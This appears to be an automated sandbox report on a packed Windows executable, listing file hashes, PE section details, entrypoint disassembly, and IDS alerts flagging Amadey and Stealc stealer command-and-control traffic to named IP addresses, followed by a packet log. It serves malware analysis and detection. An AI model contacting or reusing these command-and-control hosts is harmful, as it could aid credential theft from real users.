Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944903360587863
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'827'328 bytes
MD5:	b1992af747fc52cb2b427fef697392f2
SHA1:	a24e481626321efc83ae2710b248361be8f0aec1
SHA256:	8a90b02ee33fe65b40963bba40a936c6544eda66ed6665ae8c3b683007311d3d
SHA512:	7c43c630e442dae3abf79889ff0756c36073bd9e1ab690889371c22a5b949c5fcf4420e6e33b9cf73b123d8108f016b1a76faa8e6ebb44c085512f9ac96be860
SSDEEP:	49152:HkE0+sy6MMBDflnO0E7uUBe3k2CJoWZF9So:HkC5cbNSb/8o
TLSH:	348533983FD2E590E2FE227598D6291E4B308D5759BA916D2C4043A7B0D27E3F60BF34
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F52D852300Ah
xadd byte ptr [ebx], bl
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	04785c9fc71b2132863609fdb11ba864	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	d6f03c71640a8a1dc2d819e6fb091cf6	False	0.794921875	data	6.057886476861588	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b0000	0x200	52ad27d64c12ae19f9449bc742299ed2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wjbierbf	0x4fc000	0x1a5000	0x1a4400	94aedeb129685d017f22bbdb1e4065cb	False	0.9948790015243902	data	7.953938802671791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
drgdpeyz	0x6a1000	0x1000	0x400	dde9a37b821df1db4b0daf412331d099	False	0.6904296875	data	5.555062739289212	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a2000	0x3000	0x2200	41491932e22bddcddc2d751f2069a290	False	0.049517463235294115	DOS executable (COM)	0.5530698025943822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a00e0	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T05:46:08.024747+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	53164	TCP
2024-11-25T05:46:19.425933+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-25T05:46:19.881844+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-25T05:46:20.003960+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49724	TCP
2024-11-25T05:46:20.339684+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-25T05:46:20.468906+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49724	TCP
2024-11-25T05:46:21.932407+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-25T05:46:22.729010+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49724	185.215.113.206	80	TCP
2024-11-25T05:46:45.252188+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:47.208738+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:48.592722+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:49.863002+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:53.659980+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:46:54.744844+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49829	185.215.113.206	80	TCP
2024-11-25T05:47:00.930442+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49957	185.215.113.16	80	TCP
2024-11-25T05:48:05.967624+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	53157	185.215.113.43	80	TCP
2024-11-25T05:48:10.500001+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	53169	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 05:46:08.024746895 CET	49713	443	192.168.2.6	20.198.118.190
Nov 25, 2024 05:46:08.186784029 CET	443	49713	20.198.118.190	192.168.2.6
Nov 25, 2024 05:46:08.188210964 CET	49713	443	192.168.2.6	20.198.118.190
Nov 25, 2024 05:46:08.307742119 CET	443	49713	20.198.118.190	192.168.2.6
Nov 25, 2024 05:46:08.747987032 CET	443	49713	20.198.118.190	192.168.2.6
Nov 25, 2024 05:46:08.790307045 CET	49713	443	192.168.2.6	20.198.118.190
Nov 25, 2024 05:46:09.212254047 CET	49673	443	192.168.2.6	173.222.162.64
Nov 25, 2024 05:46:09.212255955 CET	49674	443	192.168.2.6	173.222.162.64
Nov 25, 2024 05:46:09.602886915 CET	49672	443	192.168.2.6	173.222.162.64
Nov 25, 2024 05:46:11.178698063 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.181353092 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.182229996 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.182264090 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.182332039 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.182598114 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.182611942 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.198194027 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.198230028 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.198327065 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.198533058 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.198544025 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.298533916 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.300947905 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.300957918 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.300966978 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.301074028 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.781677961 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.781784058 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.781866074 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.785706043 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.785820007 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.785870075 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.794114113 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.794212103 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.794270992 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.802495956 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.802551985 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.802601099 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:11.810826063 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.810941935 CET	443	49712	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:11.810995102 CET	49712	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:12.403141975 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:12.403172016 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:12.403287888 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:12.407141924 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:12.407159090 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:12.962801933 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:12.962877989 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:12.981077909 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:12.981100082 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:12.981523991 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:12.981955051 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:12.982011080 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:12.982074976 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.016948938 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.017025948 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.018625021 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.018631935 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.018872976 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.019181013 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.019459009 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.019489050 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.697318077 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.697350025 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.697393894 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.697412014 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.697427034 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.697477102 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.697818995 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.697834969 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.698034048 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.698075056 CET	443	49716	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.698116064 CET	49716	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.715332985 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:13.715373993 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:13.715471029 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:13.715835094 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:13.715847969 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:13.787543058 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.787580013 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.787632942 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.787652016 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.787671089 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.787731886 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.787951946 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.787951946 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.788144112 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.788182020 CET	443	49717	20.190.147.7	192.168.2.6
Nov 25, 2024 05:46:13.788235903 CET	49717	443	192.168.2.6	20.190.147.7
Nov 25, 2024 05:46:13.811453104 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:13.811492920 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:13.811566114 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:13.812028885 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:13.812045097 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:14.222996950 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:14.223088980 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:14.411674023 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:14.411704063 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:14.412131071 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:14.412192106 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:14.413399935 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:14.413435936 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.091787100 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.091809034 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.091836929 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.091850042 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.091861010 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.091900110 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.091908932 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.091943979 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.091944933 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.091976881 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.384673119 CET	49718	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.384695053 CET	443	49718	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.563051939 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.563302994 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.702975035 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.702997923 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.703319073 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.703372955 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.703440905 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:15.703474045 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.771892071 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:15.771972895 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.019171953 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.019207001 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.019382954 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.019392014 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.019766092 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.019821882 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.245727062 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.245778084 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.245795965 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.245811939 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.245836020 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.245917082 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.245932102 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.245979071 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.246061087 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.246131897 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.250572920 CET	49719	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.250587940 CET	443	49719	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.515530109 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.515608072 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.515686035 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.515923023 CET	49721	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.515965939 CET	443	49721	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.634318113 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.634361982 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.634392977 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.634409904 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.634449005 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.634459972 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.634495974 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.634521961 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.717386961 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.717428923 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.717555046 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.717868090 CET	49722	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.717884064 CET	443	49722	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.787714005 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.787801981 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.787864923 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.787909031 CET	443	49720	20.103.156.88	192.168.2.6
Nov 25, 2024 05:46:16.787952900 CET	49720	443	192.168.2.6	20.103.156.88
Nov 25, 2024 05:46:16.906891108 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:16.906928062 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:16.907099962 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:16.907412052 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:16.907432079 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:17.442272902 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:17.561952114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:17.562040091 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:17.562625885 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:17.682343006 CET	80	49724	185.215.113.206	192.168.2.6
